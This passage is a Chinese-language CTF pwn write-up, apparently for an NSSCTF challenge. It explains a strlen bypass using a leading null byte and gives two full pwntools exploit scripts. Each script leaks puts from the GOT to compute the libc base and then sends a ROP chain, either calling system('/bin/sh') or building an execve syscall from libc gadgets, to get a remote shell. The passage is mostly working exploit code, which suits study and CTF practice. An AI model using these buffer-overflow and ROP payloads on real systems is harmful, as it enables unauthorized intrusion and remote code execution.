}

漏洞很简单,strlen绕过即可,给了Libc,利用libc的ropchain即可

老规矩先puts出libc基址之后直接绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import*
from struct import pack

context.log_level='debug'
elf=ELF('./pwn4')
libc=ELF('./libc-2.31.so')
# io=process('./pwn4')
io=remote('node4.anna.nssctf.cn',28378)
pop_rdi_ret=0x0000004007d3
buf=b'\x00'+b'A'*0x67
pal1=p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
io.recvuntil("Leave your message:\n")

io.send(buf+pal1)
data=io.recvuntil('Ok,Message Received\n')
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-0x84420
print(hex(libc_base))
# gdb.attach(io)
# pause()
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
p=buf+p64(0x0000000000400556)+p64(pop_rdi_ret)+p64(binsh)+p64(system)
io.recvuntil(b"Leave your message:\n")
io.send(p)
io.interactive()

或者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import*
from struct import pack

context.log_level='debug'
elf=ELF('./pwn4')
libc=ELF('./libc-2.31.so')
# io=process('./pwn4')
io=remote('node4.anna.nssctf.cn',28955)
pop_rdi_ret=0x4007d3
buf=b'\x00'+b'A'*0x67
pal1=p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main'])
io.recvuntil("Leave your message:\n")

io.send(buf+pal1)
data=io.recvuntil('Ok,Message Received\n')
puts_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-0x84420
print(hex(libc_base))
print(hex(libc_base+0x000002284d))
# gdb.attach(io)
# pause()
ret=p64(0x0400556)
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
p=buf+ret+ret
# p+=p64(pop_rdi_ret)+p64(binsh)+p64(system)
p += pack('<Q', libc_base+0x0000142c92) # pop rdx ; ret
p += pack('<Q', libc_base+0x00001ec1a0) # @ .data
p += pack('<Q', libc_base+0x0000036174) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', libc_base+0x0000034550) # mov qword ptr [rdx], rax ; ret
p += pack('<Q', libc_base+0x0000142c92) # pop rdx ; ret
p += pack('<Q', libc_base+0x00001ec1a8) # @ .data + 8
p += pack('<Q', libc_base+0x00000b1d69) # xor rax, rax ; ret
p += pack('<Q', libc_base+0x0000034550) # mov qword ptr [rdx], rax ; ret
p += pack('<Q', libc_base+0x0000023b6a) # pop rdi ; ret
p += pack('<Q', libc_base+0x00001ec1a0) # @ .data
p += pack('<Q', libc_base+0x000002601f) # pop rsi ; ret
p += pack('<Q', libc_base+0x00001ec1a8) # @ .data + 8
p += pack('<Q', libc_base+0x0000142c92) # pop rdx ; ret
p += pack('<Q', libc_base+0x00001ec1a8) # @ .data + 8
p += pack('<Q', libc_base+0x00000b1d69) # xor rax, rax ; ret
p += pack('<Q', libc_base+0x00000000000cfb00) # add rax, 3 ; ret
p += pack('<Q', libc_base+0x00000000000cfb00) # add rax, 3 ; ret
p += pack('<Q', libc_base+0x00000000000cfb00) # add rax, 3 ; ret
p += pack('<Q', libc_base+0x00000000000cfb00) # add rax, 3 ; ret
p += pack('<Q', libc_base+0x00000000000cfb00) # add rax, 3 ; ret
p += pack('<Q', libc_base+0x00000000000cfb00) # add rax, 3 ; ret
p += pack('<Q', libc_base+0x00000000000cfb00) # add rax, 3 ; ret
p += pack('<Q', libc_base+0x00000000000cfb00) # add rax, 3 ; ret
p += pack('<Q', libc_base+0x00000000000cfb00) # add rax, 3 ; ret
p += pack('<Q', libc_base+0x00000000000cfb00) # add rax, 3 ; ret
p += pack('<Q', libc_base+0x00000000000cfb00) # add rax, 3 ; ret
p += pack('<Q', libc_base+0x00000000000cfb00) # add rax, 3 ; ret
p += pack('<Q', libc_base+0x00000000000cfb00) # add rax, 3 ; ret
p += pack('<Q', libc_base+0x00000000000cfb00) # add rax, 3 ; ret
p += pack('<Q', libc_base+0x00000000000cfb00) # add rax, 3 ; ret
p += pack('<Q', libc_base+0x00000000000cfb00) # add rax, 3 ; ret
p += pack('<Q', libc_base+0x00000000000cfb00) # add rax, 3 ; ret
p += pack('<Q', libc_base+0x00000000000cfb00) # add rax, 3 ; ret
p += pack('<Q', libc_base+0x00000000000cfb00) # add rax, 3 ; ret
p += pack('<Q', libc_base+0x00000000000cfae7) # add rax, 2 ; ret
p += pack('<Q', libc_base+0x000002284d) # syscall
print(len(p))
io.recvuntil(b"Leave your message:\n")
io.send(p)
io.interactive()

因为他的字符是0x200限制的因此要缩短一下(不是pop rax用不起,而是add更有feeling(bushi